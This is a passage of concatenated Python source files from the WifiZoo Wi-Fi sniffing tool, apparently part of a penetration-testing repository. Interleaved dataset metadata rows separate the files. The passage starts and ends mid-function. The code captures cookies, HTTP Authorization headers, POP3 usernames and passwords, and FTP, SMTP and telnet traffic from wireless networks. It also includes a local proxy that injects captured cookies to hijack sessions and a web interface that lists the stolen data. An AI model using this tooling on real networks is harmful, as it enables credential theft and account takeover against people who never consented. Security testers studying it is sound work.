cf.write(when) cf.write(airdata) cf.write(tcpdata) if post != '': cf.write(post + "\n") if get != '': cf.write(get + "\n") if hosth != '': cf.write(hosth + "\n") cf.write("COOKIE: " + line + "\n") cf.write("-"*80+"\n") if line.find("Authorization:") != -1 or line.find("WWW-Authenticate") != -1: cf2.write("-"*80+"\n") cf2.write(when) cf2.write(airdata) cf2.write(tcpdata) if post != '': cf2.write(post + "\n") if get != '': cf2.write(get + "\n") if hosth != '': cf2.write(hosth + "\n") cf2.write("AUTH:" + line + "\n") cf.write("-"*80+"\n") f.write('\n') f.close() cf.close() return def smtpHandler(pkt): wifiglobals.Info.incrementCounter('25/tcp') raw = pkt['Raw'] ippkt = pkt['IP'] tpkt = pkt['TCP'] dot11 = pkt.getlayer(Dot11) f = open(wifiglobals.Info.logDir()+"smtp.log", "ab") f.write( "WHEN: " + str(datetime.datetime.now()) + "\n" ) pktChannel = 0 if wifiglobals.Info.hasPrismHeaders() == 1: pktChannel = pkt.channel f.write("SRC: channel " + str(pktChannel) + "\n") (src,dst,bssid) = wifiglobals.Info.getSrcDstBssid(pkt) ssid = wifiglobals.Info.getSSID(bssid) airdata = "SRC: bssid=" + bssid + " (" + ssid + ")" + " src=" + src + " dst=" + dst + "\n" f.write(airdata) f.write("TCP: " + str(ippkt.src) + "." + str(tpkt.sport) + ' -> ' + str(ippkt.dst) + "." + str(tpkt.dport) + '\n') for c in str(raw): if wifiglobals.Info.isAlpha(c): f.write(c) f.write('\n') f.close() return def pop3Handler(pkt): wifiglobals.Info.incrementCounter('110/tcp') raw = pkt['Raw'] ippkt = pkt['IP'] tpkt = pkt['TCP'] dot11 = pkt.getlayer(Dot11) f = open(wifiglobals.Info.logDir()+"pop3.log", "ab") when = "WHEN: " + str(datetime.datetime.now()) + "\n" f.write(when) pktChannel = 0 if wifiglobals.Info.hasPrismHeaders() == 1: pktChannel = pkt.channel f.write("SRC: channel " + str(pktChannel) + "\n") (src,dst,bssid) = wifiglobals.Info.getSrcDstBssid(pkt) ssid = wifiglobals.Info.getSSID(bssid) airdata = "SRC: bssid=" + bssid + " (" + ssid + ")" + " src=" + src + " dst=" + dst + "\n" f.write(airdata) tcpdata = "TCP: " + str(ippkt.src) + "." + str(tpkt.sport) + ' -> ' + str(ippkt.dst) + "." + str(tpkt.dport) + '\n' f.write(tcpdata) data = '' for c in str(raw): if wifiglobals.Info.isAlpha(c): data = data + c f.write(data) f.write('\n') f.close() lines = data.split("\n") uf = open(wifiglobals.Info.logDir()+"pop3_creds.log", "ab") for line in lines: if line.find("USER") != -1 or line.find("user") != -1: uf.write(when) uf.write(airdata) uf.write(tcpdata) uf.write(line + "\n") if line.find("PASS") != -1 or line.find("pass") != -1: uf.write(when) uf.write(airdata) uf.write(tcpdata) uf.write(line + "\n") uf.close() return def ftpHandler(pkt): wifiglobals.Info.incrementCounter('21/tcp') raw = pkt['Raw'] ippkt = pkt['IP'] tpkt = pkt['TCP'] dot11 = pkt.getlayer(Dot11) f = open(wifiglobals.Info.logDir()+"ftp.log", "ab") f.write( "WHEN: " + str(datetime.datetime.now()) + "\n" ) pktChannel = 0 if wifiglobals.Info.hasPrismHeaders() == 1: pktChannel = pkt.channel f.write("SRC: channel " + str(pktChannel) + "\n") (src,dst,bssid) = wifiglobals.Info.getSrcDstBssid(pkt) ssid = wifiglobals.Info.getSSID(bssid) airdata = "SRC: bssid=" + bssid + " (" + ssid + ")" + " src=" + src + " dst=" + dst + "\n" f.write(airdata) f.write("TCP: " + str(ippkt.src) + "." + str(tpkt.sport) + ' -> ' + str(ippkt.dst) + "." + str(tpkt.dport) + '\n') for c in str(raw): if wifiglobals.Info.isAlpha(c): f.write(c) f.write('\n') f.close() return def telnetHandler(pkt): wifiglobals.Info.incrementCounter('23/tcp') raw = pkt['Raw'] ippkt = pkt['IP'] tpkt = pkt['TCP'] dot11 = pkt.getlayer(Dot11) f = open(wifiglobals.Info.logDir()+"telnet.log", "ab") f.write( "WHEN: " + str(datetime.datetime.now()) + "\n" ) pktChannel = 0 if wifiglobals.Info.hasPrismHeaders() == 1: pktChannel = pkt.channel f.write("SRC: channel " + str(pktChannel) + "\n") (src,dst,bssid) = wifiglobals.Info.getSrcDstBssid(pkt) ssid = wifiglobals.Info.getSSID(bssid) airdata = "SRC: bssid=" + bssid + " (" + ssid + ")" + " src=" + src + " dst=" + dst + "\n" f.write(airdata) f.write("TCP: " + str(ippkt.src) + "." + str(tpkt.sport) + ' -> ' + str(ippkt.dst) + "." + str(tpkt.dport) + '\n') for c in str(raw): if wifiglobals.Info.isAlpha(c): f.write(c) f.write('\n') f.close() return def netbiosnsHandler(pkt): wifiglobals.Info.incrementCounter('137/udp') raw = pkt['Raw'] ippkt = pkt['IP'] tpkt = pkt['UDP'] dot11 = pkt.getlayer(Dot11) f = open(wifiglobals.Info.logDir()+"nbtns.log", "ab") f.write( "WHEN: " + str(datetime.datetime.now()) + "\n" ) pktChannel = 0 if wifiglobals.Info.hasPrismHeaders() == 1: pktChannel = pkt.channel f.write("SRC: channel " + str(pktChannel) + "\n") (src,dst,bssid) = wifiglobals.Info.getSrcDstBssid(pkt) ssid = wifiglobals.Info.getSSID(bssid) airdata = "SRC: bssid=" + bssid + " (" + ssid + ")" + " src=" + src + " dst=" + dst + "\n" f.write(airdata) f.write("UDP: " + str(ippkt.src) + "." + str(tpkt.sport) + ' -> ' + str(ippkt.dst) + "." + str(tpkt.dport) + '\n') for c in str(raw): if wifiglobals.Info.isAlpha(c): f.write(c) # if tpkt.haslayer(NBNSRequest): # h = tpkt.getlayer(NBNSRequest) # if tpkt.haslayer(NBNSQueryRequest): # h = tpkt.getlayer(NBNSQueryRequest) # if tpkt.haslayer(NBNSQueryResponse): # h = tpkt.getlayer(NBNSQueryResponse) # if tpkt.haslayer(NBNSQueryResponseNegative): # h = tpkt.getlayer(NBNSQueryResponseNegative) # if tpkt.haslayer(NBNSNodeStatusResponse): # h = tpkt.getlayer(NBNSNodeStatusResponse) # if tpkt.haslayer(NBNSNodeStatusResponseService): # h = tpkt.getlayer(NBNSNodeStatusResponseService) # if tpkt.haslayer(NBNSNodeStatusResponseEnd): # h = tpkt.getlayer(NBNSNodeStatusResponseEnd) # if tpkt.haslayer(NBNSWackResponse): # h = tpkt.getlayer(NBNSWackResponse) # # f.write( str(h) ) f.write('\n') f.close() return def netbiosdgmHandler(pkt): wifiglobals.Info.incrementCounter('138/udp') raw = pkt['Raw'] ippkt = pkt['IP'] tpkt = pkt['UDP'] dot11 = pkt.getlayer(Dot11) f = open(wifiglobals.Info.logDir()+"nbtdgm.log", "ab") f.write( "WHEN: " + str(datetime.datetime.now()) + "\n" ) pktChannel = 0 if wifiglobals.Info.hasPrismHeaders() == 1: pktChannel = pkt.channel f.write("SRC: channel " + str(pktChannel) + "\n") (src,dst,bssid) = wifiglobals.Info.getSrcDstBssid(pkt) ssid = wifiglobals.Info.getSSID(bssid) airdata = "SRC: bssid=" + bssid + " (" + ssid + ")" + " src=" + src + " dst=" + dst + "\n" f.write(airdata) f.write("UDP: " + str(ippkt.src) + "." + str(tpkt.sport) + ' -> ' + str(ippkt.dst) + "." + str(tpkt.dport) + '\n') for c in str(raw): if wifiglobals.Info.isAlpha(c): f.write(c) # if tpkt.haslayer(NBTDatagram): # h = tpkt.getlayer(NBTDatagram) # f.write( str(h) ) f.write('\n') f.close() return
9,507
Python
.py
275
31.669091
117
0.626045
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,848
wifizooproxy.py
pwnieexpress_raspberry_pwn/src/pentest/wifizoo/wifizooproxy.py
# wifizoo # web proxy # complains to Hernan Ochoa (hernan@gmail.com) #Copyright (c) 2001 SUZUKI Hisao # #Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: # #The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. # #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. __doc__ = """Tiny HTTP Proxy. This module implements GET, HEAD, POST, PUT and DELETE methods on BaseHTTPServer, and behaves as an HTTP proxy. The CONNECT method is also implemented experimentally, but has not been tested yet. Any help will be greatly appreciated. SUZUKI Hisao """ __version__ = "0.2.1" import BaseHTTPServer, select, socket, SocketServer, urlparse import wifiglobals import urllib import cgi from threading import Thread class ProxyHandler (BaseHTTPServer.BaseHTTPRequestHandler): __base = BaseHTTPServer.BaseHTTPRequestHandler __base_handle = __base.handle server_version = "TinyHTTPProxy/" + __version__ rbufsize = 0 # self.rfile Be unbuffered def handle(self): (ip, port) = self.client_address if hasattr(self, 'allowed_clients') and ip not in self.allowed_clients: self.raw_requestline = self.rfile.readline() if self.parse_request(): self.send_error(403) else: self.__base_handle() def _connect_to(self, netloc, soc): i = netloc.find(':') if i >= 0: host_port = netloc[:i], int(netloc[i+1:]) else: host_port = netloc, 80 #print "\t" "connect to %s:%d" % host_port try: soc.connect(host_port) except socket.error, arg: try: msg = arg[1] except: msg = arg self.send_error(404, msg) return 0 return 1 def do_CONNECT(self): soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: if self._connect_to(self.path, soc): self.log_request(200) self.wfile.write(self.protocol_version + " 200 Connection established\r\n") self.wfile.write("Proxy-agent: %s\r\n" % self.version_string()) self.wfile.write("\r\n") self._read_write(soc, 300) finally: #print "\t" "bye" soc.close() self.connection.close() def do_GET(self): (scm, netloc, path, params, query, fragment) = urlparse.urlparse( self.path, 'http') if scm != 'http' or fragment or not netloc: self.send_error(400, "bad url %s" % self.path) return soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: if self._connect_to(netloc, soc): #self.log_request() soc.send("%s %s %s\r\n" % ( self.command, urlparse.urlunparse(('', '', path, params, query, '')), self.request_version)) aCookie = wifiglobals.Info.getCookie() if aCookie != None: try: c = self.headers['Cookie'] except: c = None if c == None: self.headers['Cookie'] = aCookie.getData() else: self.headers['Cookie'] = c + ';' + aCookie.getData() self.headers['Connection'] = 'close' del self.headers['Proxy-Connection'] for key_val in self.headers.items(): soc.send("%s: %s\r\n" % key_val) soc.send("\r\n") self._read_write(soc) finally: #print "\t" "bye" soc.close() self.connection.close() def _read_write(self, soc, max_idling=20): iw = [self.connection, soc] ow = [] count = 0 while 1: count += 1 (ins, _, exs) = select.select(iw, ow, iw, 3) if exs: break if ins: for i in ins: if i is soc: out = self.connection else: out = soc data = i.recv(8192) if data: out.send(data) count = 0 else: continue #print "\t" "idle", count if count == max_idling: break do_HEAD = do_GET do_POST = do_GET do_PUT = do_GET do_DELETE=do_GET class ThreadingHTTPServer (SocketServer.ThreadingMixIn, BaseHTTPServer.HTTPServer): pass #if __name__ == '__main__': # from sys import argv # if argv[1:] and argv[1] in ('-h', '--help'): # print argv[0], "[port [allowed_client_name ...]]" # else: # if argv[2:]: # allowed = [] # for name in argv[2:]: # client = socket.gethostbyname(name) # allowed.append(client) # print "Accept: %s (%s)" % (client, name) # ProxyHandler.allowed_clients = allowed # del argv[2:] # else: # print "Any clients will be served..." # BaseHTTPServer.test(ProxyHandler, ThreadingHTTPServer) def dummy_log(): return class WifiZooProxy(Thread): def __init__(self): Thread.__init__(self) def run(self): #SimpleHTTPServer.test(WebHandler, ThreadingHTTPServer) HandlerClass = ProxyHandler ServerClass = ThreadingHTTPServer protocol = 'HTTP/1.0' port = 8080 server_address = ('127.0.0.1', port) HandlerClass.protocol_version = protocol httpd = ServerClass(server_address, HandlerClass) httpd.log_message = dummy_log sa = httpd.socket.getsockname() print "WifiZoo HTTP Proxy on", sa[0], "port", sa[1], "..." httpd.serve_forever()
6,735
Python
.py
159
32.666667
461
0.574744
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,849
WifiZooEntities.py
pwnieexpress_raspberry_pwn/src/pentest/wifizoo/WifiZooEntities.py
import datetime class Cookie: def __init__(self): self._data = '' self._ip = '' self._hostname = '' self._request = '' self._headers = {} def getRequest(self): return self._request def setRequest(self, aRequest): self._request = aRequest def getData(self): return self._data def setData(self, aData): self._data = aData def getIP(self): return self._ip def setIP(self, anIP): self._ip = anIP def getHostname(self): return self._hostname def setHostname(self, aHostname): self._hostname = aHostname class ProbeRequest: def __init__(self): self._src = '' self._dst = '' self._bssid = '' self._pkt = None self._ssid = 'NotSet' self._channel = 0 self._firstSeen = None self._lastSeen = None def setSRC(self, asrc): self._src = asrc def setDST(self, adst): self._dst = adst def setBSSID(self, abssid): self._bssid = abssid def setPKT(self, apkt): self._pkt = apkt def setFirstSeen(self, thedatetime): self._firstSeen = thedatetime def setLastSeen(self, lastdatetime): self._lastSeen = lastdatetime def setSSID(self, aSSID): self._ssid = aSSID def setChannel(self, achannel): self._channel = achannel def getSRC(self): return self._src def getDST(self): return self._dst def getBSSID(self): return self._bssid def getPKT(self): return self._pkt def getFirstSeen(self): return self._firstSeen def getLastSeen(self): return self._lastSeen def getSSID(self): return self._ssid def getChannel(self): return self._channel class WifiClient: def __init__(self): self._mac = '' self._channel = 0 self._foundWhen = '' self._lastSeen = '' def getMAC(self): return self._mac def getChannel(self): return self._channel def setMAC(self, aMAC): self._mac = aMAC def setChannel(self, aChannel): self._channel = aChannel class AccessPoint: def __init__(self): self._bssid = '' self._ssid = '' self._channel = 0 self._Encrypted = 0 self._foundWhen = '' self._isProtected = 0 # TODO self._lastSeen = '' self._ClientsList = [] def addClient(self, aWifiClient): self._ClientsList.append( aWifiClient ) return def getClientbyMAC(self, aMAC): for client in self._ClientsList: if client.getMAC() == aMAC: return client return None def isProtected(self): return self._isProtected def getBSSID(self): return self._bssid def getSSID(self): return self._ssid def getChannel(self): return self._channel def getFoundWhen(self): return self._foundWhen def getFoundWhenString(self): return str(self._foundWhen) def setProtected(self, isprotected=1): self._isProtected = isprotected def setBSSID(self, abssid): self._bssid = abssid def setSSID(self, assid): self._ssid = assid def setChannel(self, achannel): self._channel = achannel def setFoundWhen(self, aDateTime): self._foundWhen = aDateTime
2,877
Python
.py
121
20.975207
41
0.713553
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,850
wifizoowebgui.py
pwnieexpress_raspberry_pwn/src/pentest/wifizoo/wifizoowebgui.py
# wifizoo # web gui # complains to Hernan Ochoa (hernan@gmail.com) import BaseHTTPServer import SimpleHTTPServer import urlparse import SocketServer import wifiglobals from threading import Thread import os import cgi import urllib import urlparse import socket import WifiZooEntities class WebHandler (SimpleHTTPServer.SimpleHTTPRequestHandler): __base = SimpleHTTPServer.SimpleHTTPRequestHandler __base_handle = __base.handle def __init__(self, *args, **kargs): self._CommandsHandlers = {} self._initCmdHandlers() SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self, *args, **kargs) def _initCmdHandlers(self): #self._CommandsHandlers = {} self._CommandsHandlers['/showssids'] = self._Handle_showssids self._CommandsHandlers['/showcookies'] = self._Handle_showcookies self._CommandsHandlers['/showapsgraph'] = self._Handle_apsgraph self._CommandsHandlers['/showprobesgraph'] = self._Handle_showprobesgraph self._CommandsHandlers['/showpop3creds'] = self._Handle_showpop3creds self._CommandsHandlers['/showprobessid'] = self._Handle_showprobessid self._CommandsHandlers['/setcookie'] = self._Handle_setcookie self._CommandsHandlers['/showcounters'] = self._Handle_showcounters self._CommandsHandlers['/showftpdata'] = self._Handle_showftpdata self._CommandsHandlers['/showsmtpdata'] = self._Handle_showsmtpdata self._CommandsHandlers['/showmsndata'] = self._Handle_showmsndata self._CommandsHandlers['/listapclients'] = self._Handle_listapclients def log_message(self, format, *args): return def _Handle_showcounters(self): self.send_response(200, 'OK') self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write('<HTML>\n') self.wfile.write('<HEAD><meta http-equiv="refresh" content="5"></HEAD>') self.wfile.write('<TITLE>WifiZoo - Statistics</TITLE>\n') counters = wifiglobals.Info.getAllCounters() if len(counters) == 0: self.wfile.write('No data collected yet.<p>') self.wfile.write('<hr><a href="javascript:window.close()">Close</a>') return self.wfile.write('<TABLE><TR>\n') for k in counters.keys(): self.wfile.write('<TD>' + k + ': ' + str(counters[k]) + '</TD><TR>') self.wfile.write('<TR></TABLE>') self.wfile.write('<hr><a href="javascript:window.close()">Close</a>') self.wfile.write('</HTML>') return def _Handle_setcookie(self): self.send_response(200, 'OK') self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write('<HTML>\n') self.wfile.write('<TITLE>WifiZoo - Set Cookie in proxy</TITLE>\n') thePath = self.path[ self.path.find('?')+1: ] params = thePath.split('&') params_dict = {} for s in params: (param_name, param_value) = s.split('=') params_dict[ param_name ] = urllib.unquote(param_value) aCookie = WifiZooEntities.Cookie() aCookie.setData( params_dict[ 'cookie'] ) wifiglobals.Info.setCookie( aCookie ) self.wfile.write('Cookie Set!<p>') self.wfile.write('<a href="http://%s">Jump to %s</a><p>' % (params_dict['host'], params_dict['host'])) self.wfile.write('<a href="/showcookies"/>Back</a><p>') #self.wfile.write("<form method=get action=/setcookie2>") #self.wfile.write('Cookie:<p>') #self.wfile.write('<textarea name=cookie width=70%>') #self.wfile.write( cgi.escape( params_dict['cookie'] ) ) #self.wfile.write('</textarea><p>') #self.wfile.write('Host:<p>') #self.wfile.write('<textarea name=host width=70%>') #self.wfile.write( cgi.escape( params_dict['host'] ) ) #self.wfile.write('</textarea>') #self.wfile.write('<input type=submit>') #self.wfile.write('</form>') #self.wfile.write( params_dict ) self.wfile.write('\n</HTML>\n') return def _Handle_listapclients(self): self.send_response(200, 'OK') self.send_header('Content-tye', 'text/html') self.end_headers() self.wfile.write('<HTML>\n') self.wfile.write('<TITLE>WifiZoo - AP clients</TITLE>\n') # obtain parameters thePath = self.path[ self.path.find('?')+1: ] params = thePath.split('&') params_dict = {} for s in params: (param_name, param_value) = s.split('=') params_dict[ param_name ] = urllib.unquote(param_value) try: APbssid = params_dict['bssid'] except KeyError, e: self.wfile.write('No clients were seen so far.') self.wfile.write('</HTML>\n') return theAP = wifiglobals.Info.getAPbyBSSID( APbssid ) apSSID = theAP.getSSID() apChannel = theAP.getChannel() theVendor = wifiglobals.Info.getMACVendor( APbssid ) self.wfile.write('<H2> ' + cgi.escape(APbssid) + '(' + cgi.escape(apSSID) + ') (ch:' + str(apChannel) + ')'+ '(Vendor: ' + theVendor + ') clients</H2>\n') try: clientsList = wifiglobals.Info.APdict[ APbssid ] except KeyError, e: self.wfile.write('No clients were seen so far.') self.wfile.write('</HTML>\n') return for client in clientsList: self.wfile.write('<FONT SIZE=4>') clientVendor = wifiglobals.Info.getMACVendor(client) self.wfile.write( cgi.escape(client) + ' (' + cgi.escape(clientVendor) + ') <br>') self.wfile.write('</FONT>') self.wfile.write('</HTML>\n') return def _Handle_showmsndata(self): self.send_response(200, 'OK') self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write('<HTML>\n') self.wfile.write('<TITLE>WifiZoo - MSN Data</TITLE>\n') if not os.path.isfile( wifiglobals.Info.logDir() + "msn.log" ): self.wfile.write('No information was captured yet.<p><a href="/index.html">Back</a><hr><p></HTML>') return data = open(wifiglobals.Info.logDir()+"msn.log", "rb").read() msndata = data.split('\n') for aline in msndata: if len(aline) > 3: if aline.find('TCP:') == 0 or aline.find('SRC:') == 0 or aline.find('WHEN:') == 0: self.wfile.write( '<FONT SIZE=2>' + cgi.escape(aline) + '<br>\n' + '</FONT>') else: self.wfile.write( '<b>' + cgi.escape(aline) + '</b><br>\n') self.wfile.write('</HTML>\n') return def _Handle_showprobessid(self): self.send_response(200, 'OK') self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write('<HTML>\n') self.wfile.write('<TITLE>WifiZoo - SSIDS obtained from probes</TITLE>\n') ProbesList = wifiglobals.Info.getProbeRequestsBySSID() if len(ProbesList) == 0: self.wfile.write('No information was captured yet.<p><a href="/index.html">Back</a><hr><p></HTML>') return self.wfile.write('<table><tr>') self.wfile.write('<td><b>SSID</b></TD><td><b>DST</b></td><td><b>SRC</b></td></td><td><b>BSSID</b></td></td><td><b>Ch</b></td>') for probe in ProbesList: iSSID = str(probe.getSSID()) iDST = str(probe.getDST()) iSRC = str(probe.getSRC()) iBSSID = str(probe.getBSSID()) iCh = str(probe.getChannel()) self.wfile.write('<tr><td>%s</TD><td>%s</td><td>%s</td></td><td>%s</td></td><td>%s</td>' % (cgi.escape(iSSID), cgi.escape(iDST), cgi.escape(iSRC), cgi.escape(iBSSID), cgi.escape(iCh))) self.wfile.write('</table>') self.wfile.write('\n</HTML>\n') return def _Handle_showprobesgraph(self): self.send_response(200, 'OK') self.send_header('Content-type', 'text/html') self.end_headers() if not os.path.isfile( wifiglobals.Info.logDir() + "probereqbysrc.log" ): self.wfile.write('No information was captured yet.<p><a href="/index.html">Back</a><hr><p></HTML>') return os.system('dot -Tpng -o./webgui/probes.png ./'+wifiglobals.Info.logDir()+'/probereqbysrc.log') self.wfile.write('<HTML>\n<IMG alt=\"sthg went wrong. this feature needs graphviz\" SRC=\"probes.png\"></HTML>') return def _Handle_apsgraph(self): self.send_response(200, 'OK') self.send_header('Content-type', 'text/html') self.end_headers() if not os.path.isfile( wifiglobals.Info.logDir() + "clients.log" ): self.wfile.write('No information was captured yet.<p><a href="/index.html">Back</a><hr><p></HTML>') return os.system('dot -Tpng -o./webgui/clients.png ./'+wifiglobals.Info.logDir()+'/clients.log') self.wfile.write('<HTML>\n<IMG alt=\"sthg went wrong. this feature needs graphviz\" SRC=\"clients.png\"></HTML>') return def _Handle_showsmtpdata(self): self.send_response(200, 'OK') self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write('<HTML>\n') self.wfile.write('<TITLE>WifiZoo - SMTP Data</TITLE>\n') if not os.path.isfile( wifiglobals.Info.logDir() + "smtp.log" ): self.wfile.write('No information was captured yet.<p><a href="/index.html">Back</a><hr><p></HTML>') return data = open(wifiglobals.Info.logDir()+"smtp.log", "rb").read() smtpdata = data.split('\n') for aline in smtpdata: if len(aline) > 3: if aline.find('WHEN:') == 0 or aline.find('SRC:') == 0 or aline.find('TCP:') == 0: self.wfile.write('<FONT SIZE=2>' + cgi.escape(aline) + '<br>\n') else: self.wfile.write('<b>' + cgi.escape(aline) + '</b><br>\n') self.wfile.write('</HTML>\n') return def _Handle_showftpdata(self): self.send_response(200, 'OK') self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write('<HTML>\n') self.wfile.write('<TITLE>WifiZoo - FTP Data</TITLE>\n') if not os.path.isfile( wifiglobals.Info.logDir() + "ftp.log" ): self.wfile.write('No information was captured yet.<p><a href="/index.html">Back</a><hr><p></HTML>') return data = open(wifiglobals.Info.logDir()+"ftp.log", "rb").read() ftpdata = data.split('\n') for aline in ftpdata: if len(aline) > 3: if aline.find('TCP:') == 0 or aline.find('SRC:') == 0 or aline.find('WHEN:') == 0: self.wfile.write( '<FONT SIZE=2>' + cgi.escape(aline) + '<br>\n' + '</FONT>') else: self.wfile.write( '<b>' + cgi.escape(aline) + '</b><br>\n') self.wfile.write('</HTML>\n') return def _Handle_showpop3creds(self): self.send_response(200, 'OK') self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write('<HTML>\n') self.wfile.write('<TITLE>WifiZoo - POP3 Credentials</TITLE>\n') if not os.path.isfile( wifiglobals.Info.logDir() + "pop3_creds.log" ): self.wfile.write('No information was captured yet.<p><a href="/index.html">Back</a><hr><p></HTML>') return data = open(wifiglobals.Info.logDir()+"pop3_creds.log", "rb").read() pop3creds = data.split('\n') for aline in pop3creds: if len(aline) > 3: if aline.find('WHEN') == 0 or aline.find('SRC:') == 0 or aline.find('TCP:') == 0: self.wfile.write('<font size=2>' + cgi.escape(aline) + '</font><br>\n') elif aline.find('USER') != -1 or aline.find('PASS') != -1: self.wfile.write('<font color=red>') self.wfile.write( '<b>'+cgi.escape(aline) + '</font></b><br>' + '\n') else: self.wfile.write('<b>'+cgi.escape(aline) + '</b><br>' + '\n') self.wfile.write('\n</HTML>\n') return def _Handle_showcookies(self): self.send_response(200, 'OK') self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write('<HTML>\n') self.wfile.write('<TITLE>WifiZoo - Cookies</TITLE>\n') if not os.path.isfile( wifiglobals.Info.logDir() + "cookies.log" ): self.wfile.write('No information was captured yet.<p><a href="/index.html">Back</a><hr><p></HTML>') return self.wfile.write('<a href="/index.html">Back</a><br><hr><p>') data = open(wifiglobals.Info.logDir()+"cookies.log", "rb").read() cookies = data.split('\n') tcp_data = '' for aline in cookies: if len(aline) > 3 and aline.find('--------------') != 0: # get TCP ip addresses if aline.find('TCP:') == 0 or aline.find('WHEN:') == 0 or aline.find('SRC:') == 0: if aline.find('TCP: ') == 0: tcp_data = aline self.wfile.write('<FONT SIZE=2>' + cgi.escape(aline) + '</FONT><br>' + '\n') elif aline.find('COOKIE:') == 0: self.wfile.write('<FONT COLOR=RED><b>') # the cookie is from web server to client if aline.find('Set-Cookie:') != -1: ndx = aline.find('Set-Cookie:') hdrlen = len('Set-Cookie:') cookieline = aline[ ndx+hdrlen :] cookie_pos_end = cookieline.find(';') cookie = cookieline[ 0:cookie_pos_end ] cookie_data = cookieline[ cookie_pos_end:] ipport = tcp_data.split(' ')[1] ipparts = ipport.split('.') ip = ipparts[0] + '.' + ipparts[1] + '.' + ipparts[2] + '.' + ipparts[3] self.wfile.write( cgi.escape ( aline[0:ndx+hdrlen] ) ) self.wfile.write( '<a href="/setcookie?cookie=' + urllib.quote(cookie) + '&host=' + urllib.quote(ip) + '" target="_blank">' + cgi.escape(cookie+cookie_data) + '</a><br>') self.wfile.write('</b></FONT>') # the cookie is from client to web server if aline.find('Cookie:') != -1 and aline.find('Set-Cookie:') == -1: ndx = aline.find('Cookie:') hdrlen = len('Cookie:') cookie = aline[ ndx+len('Cookie:'):] ipport = tcp_data.split(' ')[3] ipparts = ipport.split('.') ip = ipparts[0] + '.' + ipparts[1] + '.' + ipparts[2] + '.' + ipparts[3] self.wfile.write( cgi.escape ( aline[0:ndx+hdrlen] ) ) self.wfile.write( '<a href="/setcookie?cookie=' + urllib.quote(cookie) + '&host=' + urllib.quote(ip) + '" target="_blank">' + cgi.escape(cookie) + '</a>i<br>') self.wfile.write('</b></FONT>') else: self.wfile.write('<B>' + cgi.escape(aline) + '</B><br>' + '\n') self.wfile.write('\n</HTML>\n') return def _Handle_showssids(self): self.send_response(200, 'OK') self.send_header('Content-type', 'text/html') self.end_headers() # get 'autorefresh' option autorefresh = 'off' # obtain parameters if self.path.find('?') != -1: thePath = self.path[ self.path.find('?')+1: ] params = thePath.split('&') params_dict = {} if len(params) >= 1: for s in params: (param_name, param_value) = s.split('=') params_dict[ param_name ] = urllib.unquote(param_value) try: autorefresh = params_dict['autorefresh'] except KeyError, e: autorefresh = 'off' if autorefresh != 'off' and autorefresh != 'on': autorefresh = 'off' if autorefresh == 'on': self.wfile.write('<HEAD><meta http-equiv="refresh" content="5"></HEAD>') if autorefresh == 'on': self.wfile.write("<font size=1><a href=\"/showssids?autorefresh=off\">[turn autorefresh off]</a></font><p>") else: self.wfile.write("<font size=1><a href=\"/showssids?autorefresh=on\">[turn autorefresh on]</a></font><p>") APList = wifiglobals.Info.getAPList() if len(APList) == 0: self.wfile.write('No information was captured yet.<p><a href="/index.html">Back</a><hr><p></HTML>') return self.wfile.write('<HTML>\n') self.wfile.write('<TITLE>WifiZoo - SSIDS (AP) List</TITLE>\n') self.wfile.write('<table>\n') self.wfile.write('<tr><td><b>BSSID</b></td><td><b>SSID<b></td><td><b>Ch</b></td><td><b>Enc</b></td><td><b>#clients</td><td><b>Vendor</b></td><td><b>First Seen</b></td><tr>\n') # first dump OPEN networks for ap in APList: if not ap.isProtected(): iBSSID = str(ap.getBSSID()) iSSID = str(ap.getSSID()) iEnc = 'Open' iWhen = str(ap.getFoundWhenString()).split('.')[0] iCh = str(ap.getChannel()) iClientsNum = 0 try: clients = wifiglobals.Info.APdict[ iBSSID ] iClientsNum = len(clients) except: iClientsNum = 0 apVendor = wifiglobals.Info.getMACVendor( iBSSID ) self.wfile.write('<tr><td><font size=2>%s</font></td><td><font size=2>%s</td><td><font size=2>%s</td><td><font size=2>%s</td><td><font size=2>%s</td><td><font size=2>%s</td><td><font size=2>%s</td>' % ('<a href="/listapclients?bssid=' + urllib.quote(iBSSID) + '\" target=\"_blank\" onclick=\"window.open(this.href,this.target);return false;\">' + cgi.escape(iBSSID) + '</a>',cgi.escape(iSSID),cgi.escape(iCh),cgi.escape(iEnc),iClientsNum,cgi.escape(apVendor),cgi.escape(iWhen)) ) self.wfile.write('\n') # now protected networks for ap in APList: if ap.isProtected(): iBSSID = str(ap.getBSSID()) iSSID = str(ap.getSSID()) iEnc = 'Enc' iWhen = str(ap.getFoundWhenString()).split('.')[0] iCh = str(ap.getChannel()) iClientsNum = 0 try: clients = wifiglobals.Info.APdict[ iBSSID ] iClientsNum = len(clients) except: iClientsNum = 0 apVendor = wifiglobals.Info.getMACVendor( iBSSID ) 